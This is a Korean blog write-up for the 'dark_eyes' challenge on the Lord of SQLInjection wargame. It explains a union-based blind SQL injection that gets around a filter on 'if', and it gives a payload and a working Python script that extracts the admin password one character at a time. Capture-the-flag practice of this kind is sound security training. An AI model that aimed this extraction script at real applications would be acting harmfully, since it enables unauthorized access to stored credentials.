반응형
문제
https://los.rubiya.kr/chall/dark_eyes_4e0c557b6751028de2e64d4d0020e02c.php
문제풀이
이전 문제와 비슷하나 if 문을 쓸 수 없다.
union을 사용해서 문제를 해결할 수 있다.
1 부분에 pw을 구하는 식을 넣어 blind injection을 수행하여 pw의 길이와 문자열을 구할 수 있다.
?pw=' || (select 1 union select 2)# --> 빈 화면 출력
- pw 길이
- pw 문자열
- 파이썬 코드
import requests
cookie={'PHPSESSID':''}
url="https://los.rubiya.kr/chall/dark_eyes_4e0c557b6751028de2e64d4d0020e02c.php"
# flag_len
flag_len=0
for i in range(1,50):
query="?pw='||id='admin' and (select 1 union select (length(pw)={}))%23".format(i);
res=requests.get(url+query, cookies=cookie)
if (res.text.find("<strong>")!=-1):
flag_len=i
break
print("flag_len:{}".format(flag_len))
# flag
flag=""
for i in range(1,flag_len+1):
for j in range(33,128):
query="?pw='||id='admin' and (select 1 union select (ascii(substr(pw,{},1))={}))%23".format(i,j)
res=requests.get(url+query, cookies=cookie)
if (res.text.find("<strong>")!=-1):
flag+=chr(j)
print(flag)
break
print("flag:{}".format(flag))
반응형
'write-up(web) > los' 카테고리의 다른 글
[LOS] evil_wizard (0) | 2023.01.25 |
---|---|
[LOS] hell_fire (0) | 2023.01.25 |
[LOS] iron_golem (0) | 2023.01.24 |
[LOS] xavis (0) | 2023.01.23 |
[LOS] dragon (0) | 2023.01.23 |